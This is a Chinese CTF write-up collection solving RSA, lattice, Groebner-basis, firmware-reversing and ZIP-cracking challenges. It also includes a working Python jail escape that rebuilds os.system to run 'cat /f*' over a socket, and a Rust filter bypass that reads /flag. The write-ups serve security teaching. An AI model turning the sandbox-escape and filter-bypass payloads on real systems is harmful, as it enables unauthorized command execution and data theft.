从题目中已知条件有 c、p、q、dp、dq,其中 dp 和 dq 由以下公式计算:
dp=dmod(p−1)dq=dmod(q−1)
我们知道RSA解密的时候 m≡cd(modn),即 m=cd+k×n,又 n=p×q
所以 m=cd+k×p×q,两边对 p 和 q 同时取余,得
m1≡cd(modp)(1)m2≡cd(modq)(2)
由最开始计算 dp 和 dq 的的式子可以假设存在 k1 和 k2 使得
d=dp+k1×(p−1)d=dq+k2×(q−1)
由费马小定理(对于任意素数 p 和整数 a∈Zp,都有 ap≡a(modp)),和 (1) 式,可得
m1≡cdp+k1×(p−1)≡cdp×(ck1)p−1≡cdp(modp)
m2 同理,所以
m1≡cdp(modp)(3)m2≡cdq(modq)(4)
由 (1) 可得 m1+x×p=cd,将其代入 (2) 式可得
x×p≡(m2−m1)(modq)(5)
因为 gcd(p,q)=1,所以存在 p′ 使得
p×p′≡1(modq)
给 (5) 式两边同乘 p′,有
x≡p′(m2−m1)(modq)(6)
将 (6) 式代入 m1+x×p=cd,可得
m1+p×[p′(m2−m1)modq]=cd
即
cd=m1+p×[p′(m2−m1)modq]
m1 和 m2 可以通过 (3) 式和 (4) 式得到,这样代进上述式子就可以解出 m.
题解如下:
python
from gmpy2 import *
from Crypto.Util.number import *c = 312026920216195772014255984174463085443866592575942633449581804171108045852080517840578408476885673600123673447592477875543106559822653280458539889975125069364584140981069913341705738633426978886491359036285144974311751490792757751756044409664421663980721578870582548395096887840688928684149014816557276765747135567714257184475027270111822159712532338590457693333403200971556224662094381891648467959054115723744963414673861964744567056823925630723343002325605154661959863849738333074326769879861280895388423162444746726568892877802824353858845944856881876742211956986853244518521508714633279380808950337611574412909
p = 108043725609186781791705090463399988837848128384507136697546885182257613493145758848215714322999196482303958182639388180063206708575175264502030010971971799850889123915580518613554382722069874295016841596099030496486069157061211091761273568631799006187376088457421848367280401857536410610375012371577177832001
q = 121590551121540247114817509966135120751936084528211093275386628666641298457070126234836053337681325952068673362753408092990553364818851439157868686131416391201519794244659155411228907897025948436021990520853498462677797392855335364006924106615008646396883330251028071418465977013680888333091554558623089051503
dp = 11282958604593959665264348980446305500804623200078838572989469798546944577064705030092746827389207634235443944672230537015008113180165395276742807804632116181385860873677969229460704569172318227491268503039531329141563655811632035522134920788501646372986281785901019732756566066694831838769040155501078857473
dq = 46575357360806054039250786123714177813397065260787208532360436486982363496441528434309234218672688812437737096579970959403617066243685956461527617935564293219447837324227893212131933165188205281564552085623483305721400518031651417947568896538797580895484369480168587284879837144688420597737619751280559493857def rsa(dp, dq, p, q, c):m1 = pow(c, dp, p)m2 = pow(c, dq, q)p_q = invert(p, q)m = m1 + p_q * ((m2-m1) % q) * pprint(long_to_bytes(m))rsa(dp, dq, p, q, c)
# flag{No_course_e_can_play}
学以致用
希望大家可以去探索 Sagemath 的妙用以及克服一下对 English 的恐惧。解题过程非常简单,而且解题过程都在给的 PDF 文件里了。
归纳题目信息,本题归根结底是要解出下面这个方程组:
flag13−c1=0modNflag23−c2=0modN(flag1+flag2+gift)3−c3=0modN
经过分析后,即可定位到论文的这一部分,过程很清晰,结合题目信息寻找相应的 SageMath 实现即可,多搜索,多问 GPT(经出题人测试,免费的 GPT 4o-mini 可完成该题大半的工作量)。
利用 groebner_basis()
很好解决,至于怎么写,SageMath 参考文档中的 Search 一栏给出了一些建议。
python
from sage.all import *
from Crypto.Util.number import long_to_bytes, bytes_to_longn = 17072342544150714171879132077494975311237876365187751353863158074020024719122755004761547735987417065592254800869192615807192722193500063611855839293567948232939959753821265552288663615847715716482887552271575844394350597695771100384136647573934496089812758071894172682439278191678102960768874456521879228612030147515967603129172838399997929502420254427798644285909855414606857035622716853274887875327854429218889083561315575947852542496274004905526475639809955792541187225767181054156589100604740904889686749740630242668885218256352895323426975708439512538106136364251265896292820030381364013059573189847777297569447
c1 = 8101607280875746172766350224846108949565038929638360896232937975003150339090901182469578468557951846695946788093600030667125114278821199071782965501023811374181199570231982146140558093531414276709503788909827053368206185816004954186722115752214445121933300663507795347827581212475501366473409732970429363451582182754416452300394502623461416323078625518733218381660019606631159370121924340238446442870526675388637840247597153414432589505667533462640554984002009801576552636432097311654946821118444391557368410974979376926427631136361612166670672126393485023374083079458502529640435635667010258110833498681992307452573
c2 = 14065316670254822235992102489645154264346717769174145550276846121970418622727279704820311564029018067692096462028836081822787148419633716320984336571241963063899868344606864544582504200779938815500203097282542495029462627888080005688408399148971228321637101593575245562307799087481654331283466914448740771421597528473762480363235531826325289856465115044393153437766069365345615753845871983173987642746989559569021189014927911398163825342784515926151087560415374622389991673648463353143338452444851518310480115818005343166067775633021475978188567581820594153290828348099804042221601767330439504722881619147742710013878
c3 = 8094336015065392504689373372598739049074197380146388624166244791783464194652108498071001125262374720857829973449322589841225625661419126346483855290185428811872962549590383450801103516360026351074061702370835578483728260907424050069246549733800397741622131857548326468990903316013060783020272342924805005685309618377803255796096301560780471163963183261626005358125719453918037250566140850975432188309997670739064455030447411193814358481031511873409200036846039285091561677264719855466015739963580639810265153141785946270781617266125399412714450669028767459800001425248072586059267446605354915948603996477113109045600
gift = b'GoOd_byE_nEw_5t@r'x, y = PolynomialRing(Zmod(n), 'x, y').gens()
f1 = x**3 - c1
f2 = y**3 - c2
f3 = (x + y + bytes_to_long(gift))**3 - c3gb = Ideal(f1, f2, f3).groebner_basis()
f1, f2 = gb
flag1 = int(-f1.coefficients()[1])
flag2 = int(-f2.coefficients()[1])
# 出题的时候加了给pad,大家得注意一下,flag在一堆trash中间,别做出了却没看见flag
print((long_to_bytes(flag1)).split(b'*')[2]+(long_to_bytes(flag2).split(b'*')[1]))
# b'flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}'
flag 即为 flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}
虽然我们已经得到了 flag,但其实还有另一种解法,就是紧跟着的下一部分,所以 2 种解法都在这篇 PDF 里面了(一血的选手就是用这种方法完成的):
可参考:结式(Resultant) - 维基百科
这道题不指望新生能够搞懂背后的原理,只是希望能够花时间潜下心来学习,然后学以致用,将样例代码迁移到这道题上。当然了,和 GPT 人机合一克服困难,也是一种实力。
格格你好棒
题目内容
题目给出的脚本如下:
python
from Crypto.Util.number import *
import randomflag = b'******'
m = bytes_to_long(flag)a = getPrime(1024)
b = getPrime(1536)p = getPrime(512)
q = getPrime(512)
r = random.randint(2**8, 2**9)
assert ((p+2*r) * 3*a + q) % b < 70c = pow(m, 0x10001, p*q)print(f'c =', c)
print(f'a =', a)
print(f'b =', b)'''
c = 75671328500214475056134178451562126288749723392201857886683373274067151096013132141603734799638338446362190819013087028001291030248155587072037662295281180020447012070607162188511029753418358484745755426924178896079516327814868477319474776976247356213687362358286132623490797882893844885783660230132191533753
a = 99829685822966835958276444400403912618712610766908190376329921929407293564120124118477505585269077089315008380226830398574538050051718929826764449053677947419802792746249036134153510802052121734874555372027104653797402194532536147269634489642315951326590902954822775489385580372064589623985262480894316345817
b = 2384473327543107262477269141248562917518395867365960655318142892515553817531439357316940290934095375085624218120779709239118821966188906173260307431682367028597612973683887401344727494920856592020970209197406324257478251502340099862501536622889923455273016634520507179507645734423860654584092233709560055803703801064153206431244982586989154685048854436858839309457140702847482240801158808592615931654823643778920270174913454238149949865979522520566288822366419746
'''
格密码基础
- 格定义:CTF 密码学:格密码基础(含例题)
- 矩阵乘法:线性代数基础——矩阵和矩阵的乘法
NTRU 密码
参数
- 模数 p
- 私钥 (f,g)
- 公钥 h=f−1⋅g(modp)
- 临时密钥 r
加解密
-
加密:
c≡r∗h+m≡r∗f−1∗g+m(modp)
-
解密:
c≡r⋅g+f⋅m(modp)≡f⋅m(modp)(modg)
再乘上 f−1 即可得到 m.
参数大小
显然当r⋅g+f⋅m<p,m<g 时才能正确解密。
考虑格
L=[1h0p]
同时我们有
h⋅f+k⋅p=g
此时,我们发现 (f,g) 便是格中的一个格点。
因为
(f,k)L=(f,f⋅h+p⋅k)=(f,g)
则如果我们能够找到 (f,k),则可以得到 (f,g).
更多条件
f<12p12,g<12p12,m<14p12,r<12p12
此时发现向量 b→=(f,g) 的长度为
||b→||=(f2+g2)12<p2
分析:为什么构造这样的格
目标为 v→=(f,g) 私钥
已知式子
h=f−1⋅gmodp→g=h⋅fmodpg=h―⋅f+k⋅p―
下划线的 h 和 p 是已知量
观察式子,左边的 g 是我们想要求得,右边中也有 f 是我们想要的,而 k 并不重要。
则结合向量和格,我们构造的格最后一列为 (h,p) 或者 (p,h)(以下之一)
,(f,k)→hp→[ph]
为了获得 f,格的第一列第一个为 1,然后补 0,或者相反(以下之一)
(f,k)→1h0p→[0p1h]
矩阵相乘得到结果 (f,g)→,通过 LLL 算法得到最短向量 v→,然后取值 f=v→[0]g=v→[1]
又有式子
c=(r⋅h+m)modp
两边同时乘 f,得
f⋅c≡r⋅h⋅f+m⋅fmodpf⋅c=r⋅g+m⋅f+k⋅p(1)
转换一下
m=(c−r⋅g⋅f−1)modp
但 r 未知,此路不通,回上一个式子 (1)
在模 p 的同时再模上 g 去消 r,即
m=(f⋅cmodpmodg)⋅f−1modg
明确目标
找到私钥 (f,g)
构造格
由公钥公式得到 g=h⋅f+k⋅p 因为右边只有两项,确定 n 维数为 2,且只有 h 和 p 已知,得知最后我们要构造的格的最后一列是 h、p,再推出L前面相乘的向量是 (f,k),最后再补上前一列 、1、0.
解密
用 LLL 算法得到最短向量 v 后,对照当初设想的 ,v=(f,g),令 f=v[0],g=v[1].
获得 f、g 后,代入解密式子,因为 r 是临时密钥,无从得知,所以我们先模上 p,再模上 g,消去 r. 最后再乘上 f 关于模 g 的逆元,求得 m.
题目解析
从题目和描述,知识点指向格密码
题目给了一个断言
python
((p+2*r) * 3*a + q) % b < 70
可以看成 h=((p−2⋅r)⋅3⋅a+q)modb<70
其中 r 和 h 都是有范围的,最大的范围 r 也是在 214 和 215 之间,对于计算机而言相当小,可以爆破,所以当成已知数。
化简式子,把模消去:
(p−2⋅r)⋅3⋅a+k⋅b=h−q
和 NTRU 的式子(NTRU: c = (r * h + m) % p
)相似
构造
L=[13a0b]
发现
(p−r,k)L=(p−2⋅r,−q+h)=v→
且
||v→||≈2⋅2512<2⋅b12
EXP
python
# sagemathfrom Crypto.Util.number import *
from tqdm import tqdm
c = # ...
a = # ...
b = # ..L = Matrix(ZZ,[[1,3*a],[0,b]])
p,q = L.LLL()[0] # 这里的 [0] 是取其中的最小向量
p,q = abs(p),abs(q)
# 爆破 r 和 h
for r in tqdm(range(2**8,2**9)):for h in range(70):pp = p - 2*rqq = q + hphi = (pp-1)*(qq-1)if gcd(phi,65537) != 1:continuem = power_mod(c,inverse_mod(65537,phi),pp*qq)if b'flag' in long_to_bytes(m):print(r,h)print(pp,qq)print(long_to_bytes(m))print(long_to_bytes(m)==b'flag{u_are_@_master_of_latt1ce_Crypt0gr@phy}')exit(0)
出题人的碎碎念
一开始听群里面说想学格密码,于是在 Week 5 打算出一个
- 出NTRU吗?——有模板,不方便改
- 出背包吗?——我当时认为掌握超数列就能 Python 手撕 QAQ
在笔记中寻找许久,便把窃取目标盯上了 xenny 师傅的格密码课程的 P3
直接抄违背了出题初心,但是 P3 的解题内核始终吸引着我,自己动手推导式子构造格(在这对因为我「窃取」题目的行为而受伤的师傅们说声对不起!)
那么我就转向修改参数,以往的 RSA 题目,在我手动调试验证各个参数大小关系的时候,都是能满足自身的关系的
但在这题 assert ((p-r) * a + q) % b < 50
似乎发生了变化,随意 getPrime()
的参数根本满足不了前面这个式子,换句话来说,这个式子太过于严谨了,怎么能取到那么合适的值,把 h
从 1536 位降到 5 位
答案是 getPrime
+ 自己构造
原题
让我们看原题目是怎么写的:
python
a = getPrime(1024)
b = getPrime(1536)p = getPrime(512)
q = getPrime(512)
r = random.randint(2**14, 2**15)
assert ((p-r) * a + q) % b < 50
关键步 ((p-r) * a + q) % b < 50
,那么我们只需:先 getPrime()
生成 p、q、r、a,然后手动取一个 h(或者取随机数)就行,让 b = ((p-r) * a + q) - h
等想到这步时,我才发现 ((p-r) * a + q)
的位数和 b 相近(前者最大项是 p⋅a),这才能使得 h=((p−r)⋅a+q)−b 成立,而不是 h=((p−r)⋅a+q)−K⋅b
代码附上:
python
a = getPrime(1024)p = getPrime(512)
q = getPrime(512)
r = random.randint(2**8, 2**9) # 这个涉及到解题的速度,遍历 [2**8, 2**9] 要 2 分钟,遍历 [2**14, 2**15] 要2小时,速度好像也和后面构造出的格有关print(((p+2*r) * 3*a + q).bit_length()) # 要为 a 的位数 + p 的位数
while ((p+2*r) * 3*a + q).bit_length() != a.bit_length() + p.bit_length():a = getPrime(1024)p = getPrime(512)q = getPrime(512)r = random.randint(2**8, 2**9)print(((p+2*r) * 3*a + q))b = ((p+2*r) * 3*a + q) - 58 # 可改式子的系数,或者是自己搞一个式子,核心就是 p*a 最大,b 的位数就是 a 的位数 + p 的位数,b 具体值是 ((p+2*r) * 3*a + q) - h,h 的值自己拟定
h = 58
print('p,q =',[p,q])
print('a,r =',[a,r])
print('b,h =',[b,h])
exit()
调试的方法(出题日常)
可以改 a、p、q 的位数,r 的范围需要后面在解题代码中看看跑的速度来调整。注意,b 的位数要大于 2 倍的 p 的位数(推导见 Hermite 定理)
式子也能改,式子的灵魂就是最大项 p⋅a 与 b 在位数上相近,需要自己爆破的数字很小且可控,式子的未知数个数是 5 个,只有 2 个知道范围,k 和 p、q 都不知,式子导向用格级规约 LLL 来解决
式子各项的系数,r 的可以随意改,只要不接近 p//r
,EXP 只需要改动 pp = p - t*r
中的 t
a 的系数改动就要改格中 a 的系数
q 的系数改动还不太清楚,改完 EXP 就跑不动,也许是向量内不平衡
h 改动涉及爆破范围的扩大与缩小,只需要对应的改动 EXP 的 h
:
python
for h in range(50):
完整出题代码如下
python
from Crypto.Util.number import *
import randomflag = b''
m = bytes_to_long(flag)if 0:a = getPrime(1024)p = getPrime(512)q = getPrime(512)r = random.randint(2**8, 2**9)print(((p+2*r) * 3*a + q).bit_length()) # 要为 a 的位数 + p 的位数print(((p+2*r) * 3*a + q))b = ((p+2*r) * 3*a + q) - 58 # 可改式子的系数,或者是自己搞一个式子,核心就是p*a最大,b的位数就是 a 的位数 + p 的位数,b 具体值是 ((p+2*r) * 3*a + q) - h,h 的值自己拟定h = 58print('p,q =',[p,q])print('a,r =',[a,r])print('b,h =',[b,h])exit()p, q = # ...
a, r = # ...
b, h = # ...assert ((p+2*r) * 3*a + q) % b < 70c = pow(m, 0x10001, p*q)print(f'c = {c}')
print(f'a = {a}')
print(f'b = {b}')
先将 if 0:
改为 1
,执行临近代码块,获取 [p,q]
[a,r]
[b,h]
然后直接复制到下方,将 if 1:
改成 0
,获取 c、a、b
提取 r,复制
放到解题脚本调试
python
# sagemath
from Crypto.Util.number import *
from tqdm import tqdm
c = 75671328500214475056134178451562126288749723392201857886683373274067151096013132141603734799638338446362190819013087028001291030248155587072037662295281180020447012070607162188511029753418358484745755426924178896079516327814868477319474776976247356213687362358286132623490797882893844885783660230132191533753
a = 99829685822966835958276444400403912618712610766908190376329921929407293564120124118477505585269077089315008380226830398574538050051718929826764449053677947419802792746249036134153510802052121734874555372027104653797402194532536147269634489642315951326590902954822775489385580372064589623985262480894316345817
b = 2384473327543107262477269141248562917518395867365960655318142892515553817531439357316940290934095375085624218120779709239118821966188906173260307431682367028597612973683887401344727494920856592020970209197406324257478251502340099862501536622889923455273016634520507179507645734423860654584092233709560055803703801064153206431244982586989154685048854436858839309457140702847482240801158808592615931654823643778920270174913454238149949865979522520566288822366419746L = Matrix(ZZ,[[1,3*a],[0,b]])
p,q = L.LLL()[0] # 这里的 [0] 是取其中的最小向量
p,q = abs(p),abs(q)
# 爆破 r 和 h
for r in tqdm(range(308,2**9)):for h in range(70):pp = p - 2*rqq = q + hphi = (pp-1)*(qq-1)if gcd(phi,65537) != 1:continuem = power_mod(c,inverse_mod(65537,phi),pp*qq)if b'flag' in long_to_bytes(m):print(r,h)print(pp,qq)print(long_to_bytes(m))print(long_to_bytes(m)==b'既定flag{}')exit(0)
先用 r
替换下面代码中的 2**8
,跳过遍历环节,看看能否得到结果
python
for r in tqdm(range(2**8,2**9)):
如果可以,那么再换回成 2**8
看看遍历速度和所需时间,这里需要 2 分钟,实际上解题只需要 22 秒
出题时,两个 SageMath 版本(Windows 的 9.3 和 Linux 的 10.X)都测试了速度,以免新生因为环境问题而困扰
更换了参数和式子,也算半个魔改了。
PlzLoveMe
音频采样数据一般就是 PCM,根据所给采样率,我们可以直接找线上网站播放
直接找个音乐软件,听歌识曲可以知道是 world.execute(me);
(这是歌曲名)
播放到 03:01 的歌词如下
对照 LCD 图片
仔细查看可以发现 LCD 上显示的是歌词(LCD 图片的第一行内容为 Question me
,后面也有明显的 LO-O-OVE
)
其实 LCD 上的符号是特殊字体,感兴趣的同学可以看看 LVDC-Secret-Passage 字体。
对照歌词可以得到符号的对应关系
歌词倒数第四排是 flag:
,后三排仔细对照,可以知道是:
fhwdLd
mnwdOnV
mnwdOnV
由题目可知 flag 是有意义的全英文字符串,我们还剩一个 AXF 文件没有用到
这是包含 ARM 符号信息的二进制文件,可以用 IDA 打开
题目里提到设备连上了电脑串口(其实一般是 USB 来串口通信,这里为了降低难度直接说明是串口了)
使用 file
命令:file SD_MP3_RC.axf
,输出:
plaintext
SD_MP3_RC.axf: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
IDA32 函数列表搜索 UART
看到一个 RxCpltCallback
,搜一下是串口回调,用于接收数据后的处理,按 F5 查看伪代码
c
void __fastcall HAL_UART_RxCpltCallback(UART_HandleTypeDef *huart)
{int v1; // r2unsigned int v2; // r0unsigned int v3; // r0if ( huart->Instance == (USART_TypeDef *)1073821696 ){v1 = UART1_temp[0];v2 = UART1_Rx_cnt;UART1_Rx_Buf[UART1_Rx_cnt] = UART1_temp[0] ^ 1;v3 = v2 + 1;UART1_Rx_cnt = v3;if ( v1 == 10 ){*((_BYTE *)&WavFile.lockid + v3 + 2) = 0;Show_String(0, 16 * offsety, UART1_Rx_Buf, 0x10u, 0xF800u);UART1_Rx_cnt = 0;++offsety;}HAL_UART_Receive_IT(&huart1, UART1_temp, 1u);}
}
只有个异或 0x1
,CyberChef 解密后包上 flag{}
上交
Ans: flag{giveMeloveNoWloveNoW}
Zipmaster
拿到附件解压后看到是一个压缩包,是真加密。打开看一下结构
发现有四个长度仅为 3 字节大小一样的文件,使用 CRC 爆破来得到其中的内容
CRC 值在压缩包中都可以看到,直接上脚本进行爆破
python
import binascii
import stringdef crack_crc():print('-------------Start Crack CRC-------------')crc_list = [0x35f321cd, 0xa0bb977c, 0x4eb5f650, 0x3c90238] # 文件的 CRC32 值列表,注意顺序comment = ''chars = string.printablefor crc_value in crc_list:for char1 in chars:for char2 in chars:for char3 in chars:res_char = char1 + char2 + char3 # 获取遍历的任意 3 Byte 字符char_crc = binascii.crc32(res_char.encode()) # 获取遍历字符的 CRC32 值calc_crc = char_crc & 0xffffffff # 将遍历的字符的 CRC32 值与 0xffffffff 进行与运算if calc_crc == crc_value: # 将获取字符的 CRC32 值与每个文件的 CRC32 值进行匹配print('[+] {}: {}'.format(hex(crc_value),res_char))comment += res_charprint('-----------CRC Crack Completed-----------')print('Result: {}'.format(comment))if __name__ == '__main__':crack_crc()
得到结果
plaintext
-------------Start Crack CRC-------------
[+] 0x35f321cd: thi
[+] 0xa0bb977c: s_i
[+] 0x4eb5f650: s_k
[+] 0x3c90238: ey!
-----------CRC Crack Completed-----------
Result: this_is_key!
使用 this_is_key!
作为密码来解压 3077.zip
,得到 114514.zip
,发现无密码,可以直接解压
得到 0721.zip
和 hint.txt
hint.txt
plaintext
看起来好像和某个文件是一样的欸
看一下 0721.zip
的结构,发现有一个原始大小和压缩包外面的 hint.zip
完全一样的文件,同时看到压缩包使用的加密算法是 ZipCrypto,那么可以使用明文攻击来恢复解密密钥
使用 bkcrack 来进行明文攻击。这里要注意 -c
参数后面写的是破解文件中的明文文件的绝对路径,从压缩包一层开始,我们可以看到在压缩包中还有一层名为 0721
的文件夹,所以这里路径要写 0721/hint.txt
爆破出密钥之后我们直接构造一个弱密码加密的压缩包,密码是 123456
,其中的内容和原来的 0721.zip
完全一样
解压 0721.zip
之后得到一个 flag.zip
,这个压缩包是个压缩包炸弹,具体原理可以自行搜索,这里我们直接使用 010 Editor 打开看一下它的文件结构,发现很多 Base64 字符串
提取出来解密,得到一个新的压缩包
同样将 16 进制内容放到 010 Editor 中另存为一个新的压缩包,在末尾找到 hint
这里提到看不到密码,后面给的 f4tj4oGMRuI=
其实是密码的 Base64 加密后的字符串,但是解密之后发现密码是不可见字符(密码就是它),无法直接使用它来解压压缩包,写脚本来进行解压
python
import base64
import pyzippertarget_zip = '1.zip'
outfile = './solved'pwd = base64.b64decode(b'f4tj4oGMRuI=')
with pyzipper.AESZipFile(target_zip, 'r') as f:f.pwd = pwdf.extractall(outfile)
解压后得到一个 Z1 文件,使用记事本打开得到 flag
plaintext
flag{ecebbd61-2bb9-4eda-b4ca-f24b895be2e3}
pyjail
match case
是 Python 3.10才有的语法,可以用来获取一个对象的属性
python
class Dog:def __init__(self, name):self.name = namedef describe_pet(pet):match pet:case Dog(name=name1):print(name1) # 这个位置会输出 Rover,原因是 pet 对象的属性 name 被传给了 name1pet = Dog("Rover")
describe_pet(pet)
str()` 是一个空字符串对象,下面这部分等价于 `bfc = ''.join([chr(37),chr(99),])`,也就是 `bfc=%c
python
match str():case str(join=join):bfc = join(list((chr(37),chr(99),)))
后面拿到了 %c
,就可以使用 %
构造字符串
完整的 EXP 如下:
python
import socket,time
code = \
'''
bfc = None
buil = None
impo = None
os = None
system = None
cmd = None
match str():case str(join=join):bfc = join(list((chr(37),chr(99),)))buil = bfc*12buil = buil%(95,95,98,117,105,108,116,105,110,115,95,95)impo = bfc*10impo = impo%(95,95,105,109,112,111,114,116,95,95)system = bfc*6system = system%(115,121,115,116,101,109)os = bfc*2os = os%(111,115)cmd = bfc*7cmd = cmd%(99,97,116,32,47,102,42)match vars():case dict(get=get):bui = vars(get(buil))match bui:case dict(get=get2):os = vars(get2(impo)(os))match os:case dict(get=get3):get3(system)(cmd)EOF
'''def send_messages(host, port):# 创建一个 TCP/IP 套接字sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:# 连接到服务器print(f"正在连接到 {host}:{port}")sock.connect((host, port))# 要发送的消息messages = ["start",code,]# 逐条发送消息for message in messages:sock.sendall(message.encode()) # 将字符串编码为字节数据time.sleep(2)response = sock.recv(1024) # 接收来自服务器的回应print(f"收到回应: {response.decode()}")except Exception as e:print(f"发生错误: {e}")finally:sock.close()if __name__ == "__main__":target_host = "127.0.0.1" # 替换为你想要发送消息的主机IPtarget_port = 32808 # 替换为目标端口send_messages(target_host, target_port)
I wanna be a Rust Master
其实禁了不少东西,看附件给的 server 源码,可以看到检测大致分成两个部分,一个明文检测,一个是基于 syn、quote 库检测 TokenStream(指令流)。
先说检测 TokenStream 这块,比如下面这个,就是在检测是否有字面量(字面量是用于表达源代码中一个固定值,比如 123
, "abc"
, true
, 114.514
)。
rust
#[derive(Default)]
pub struct LitChecker {has_lit: bool,
}impl<'a> Visit<'a> for LitChecker {fn visit_lit(&mut self, i: &'a syn::Lit) {self.has_lit = true;syn::visit::visit_lit(self, i);}
}
然而由于 Rust 的宏在解析的时候,都是有一套自定义的解析逻辑,而 syn 库本身并不能直接获取宏定义的解析逻辑,所以,如果有尝试去看过 syn 的源码,就会发现在处理 macro 的时候,都是直接返回 TokenStream,也就是没有被解析的原始指令流(就是因为前面说过 syn 本身不知道一个宏是怎么展开的)。
换言之,如果使用者没有人为去解析这些指令流,那么 syn 本身就不会检测宏里面有啥指令,这样就可以把一些恶意的代码塞进宏里面,比如:
rust
vec![println!("Hello")]
这个毫无疑问是有一个字面量 "Hello"
的,但是由于在宏里面,所以 syn 无法检测。
对于这道题而言,使用 syn 进行检测的其他逻辑,比如我有检测 std
、unsafe
等等,其实都可以利用这一点来绕过。
但是很可惜的,我还写了明文匹配的检测,也就是在源码中类似这段的代码:
rust
if input.contains("std") {println!("[-] std detected");return Ok(());
}
所以 std
、unsafe
这些还是很难能够使用。
那么如果不用标准库的东西,还能怎么读取文件呢?
其实 Rust 本身自带了很多有趣的宏,对于这道题,可以使用 include_str!
或者 include_bytes!
.
以 include_str!
为例,它会在编译期,读取指定路径的文件(如果路径不存在,无法通过编译),然后会把读出来的内容作为字符串进行编译。
比如有一个 a
文件,里面内容是 Hello
,那么 println!("{}", include_str!("a"))
就完全等价于 println!("{}", "Hello")
.
所以我们就可以通过 include_str!("/flag")
来直接读取 flag 文件(在编译期)!
但是,令人难过的是,题目还检测了代码中是否包含 "flag"
这个字符串,可能大家的第一反应是套一层变量去绕过,类似这样:
rust
let a = "/fl".to_string() + "ag";
let f = include_str!(a);
但是这是不行的!
如果运行,应该会看到 error: argument must be a string literal
这样的报错,因为 include_str!
这个宏解析的时候需要接受字符串字面量!
那么这该怎么办呢?别慌,还有办法!这就不得不提 concat!
这个宏了(大家可以多翻翻标准库里自带的那些宏,有很多很有意思的宏),concat!
可以编译期拼接字符串字面量(是的!concat!
也要求提供的值是字面量),所以就可以使用这个来绕过本题的检测读取 flag 了。
rust
let f = include_str!(concat!("/fl", "ag"));
接下来就是另一个问题了:怎么样输出 flag 呢?
要知道,在 Rust 中,输出都是依赖于 println!
dbg!
panic!
之类的宏,而这些宏本质是对 std::io
中的对象进行的封装,所以想要输出,要么能够使用这些封装好的宏(但是都被我 ban 啦,哇哈哈哈哈),要么能够访问到 std::io
这个模块中的东西(也被我 ban 了,嘻嘻)。
那么还有什么办法呢?
其实有个很常见的思路:使用报错来带出输出!
比如随便构造一个整数溢出?比如数组越界?比如对 None
调用 .unwrap()
?比如对 Ok
对象调用 .unwrap_err()
?等等,非常多的报错,但是我们要让报错信息能够被控制!毕竟我们需要输出我们想要输出的内容。这里我们就很容易想到使用 Option
或者 Result
,下面我就随便给几个例子,大家可以参考一下:
OptionResult unwrapResult expect
rust
let a: Option<i32> = None;
a.expect("a is None");
综合上述的思路,就可以整理出下面这段 payload 啦!
rust
fn main() {Option::<()>::None.expect(include_str!(concat!("/fl","ag")));
}
//